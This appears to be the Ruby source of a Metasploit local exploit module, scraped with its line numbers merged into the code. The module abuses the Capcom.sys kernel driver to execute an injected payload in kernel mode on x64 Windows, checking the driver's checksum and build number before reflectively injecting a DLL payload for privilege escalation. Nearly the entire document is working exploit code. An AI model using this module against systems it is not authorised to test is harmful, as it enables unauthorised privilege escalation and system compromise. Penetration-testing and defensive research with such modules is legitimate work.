Path: blob/master/modules/exploits/windows/local/capcom_sys_exec.rb
31445 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::File9include Msf::Post::Windows::Priv10include Msf::Post::Windows::Process11include Msf::Post::Windows::ReflectiveDLLInjection12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18{19'Name' => 'Windows Capcom.sys Kernel Execution Exploit (x64 only)',20'Description' => %q{21This module abuses the Capcom.sys kernel driver's function that allows for an22arbitrary function to be executed in the kernel from user land. This function23purposely disables SMEP prior to invoking a function given by the caller.24This has been tested on Windows 7, 8.1, 10 (x64) and Windows 11 (x64) upto build 22000.194.25Note that builds after 22000.194 contain deny lists that prevent this driver from loading.26},27'License' => MSF_LICENSE,28'Author' => [29'TheWack0lian', # Issue discovery30'OJ Reeves' # exploit and msf module31],32'Platform' => 'win',33'SessionTypes' => [ 'meterpreter' ],34'DefaultOptions' => {35'EXITFUNC' => 'thread'36},37'Targets' => [38[ 'Windows x64', { 'Arch' => ARCH_X64 } ]39],40'Payload' => {41'Space' => 4096,42'DisableNops' => true43},44'References' => [45['URL', 'https://twitter.com/TheWack0lian/status/779397840762245124']46],47'DisclosureDate' => '1999-01-01', # non-vuln exploit date48'DefaultTarget' => 0,49'Compat' => {50'Meterpreter' => {51'Commands' => %w[52stdapi_fs_md553stdapi_sys_config_driver_list54]55}56},57'Notes' => {58'Reliability' => UNKNOWN_RELIABILITY,59'Stability' => UNKNOWN_STABILITY,60'SideEffects' => UNKNOWN_SIDE_EFFECTS61}62}63)64)65end6667def check68return Exploit::CheckCode::Unknown unless session.platform == 'windows'6970version = get_version_info71if version.build_number < Msf::WindowsVersion::Win7_SP0 || version.windows_server?72return Exploit::CheckCode::Unknown73end7475# These versions of Windows 11 come built in with a driver block list preventing loading of capcom.sys76if version.build_number > Rex::Version.new('10.0.22000.194')77return Exploit::CheckCode::Safe('Target contains a block list which prevents the vulnerable driver from being loaded!')78end7980if sysinfo['Architecture'] != ARCH_X6481return Exploit::CheckCode::Safe82end8384# Validate that the driver has been loaded and that85# the version is the same as the one expected86client.sys.config.getdrivers.each do |d|87next unless d[:basename].downcase == 'capcom.sys'8889expected_checksum = '73c98438ac64a68e88b7b0afd11ba140'90target_checksum = client.fs.file.md5(d[:filename])9192if expected_checksum == Rex::Text.to_hex(target_checksum, '')93return Exploit::CheckCode::Appears94end95end9697return Exploit::CheckCode::Safe98end99100def exploit101if is_system?102fail_with(Failure::None, 'Session is already elevated')103end104105check_result = check106if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown107fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')108end109110if sysinfo['Architecture'] == ARCH_X64111if session.arch == ARCH_X86112fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session')113end114115if target.arch.first == ARCH_X86116fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')117end118end119120encoded_payload = payload.encoded121execute_dll(122::File.join(Msf::Config.data_directory, 'exploits', 'capcom_sys_exec', 'capcom_sys_exec.x64.dll'),123encoded_payload124)125126print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')127end128end129130131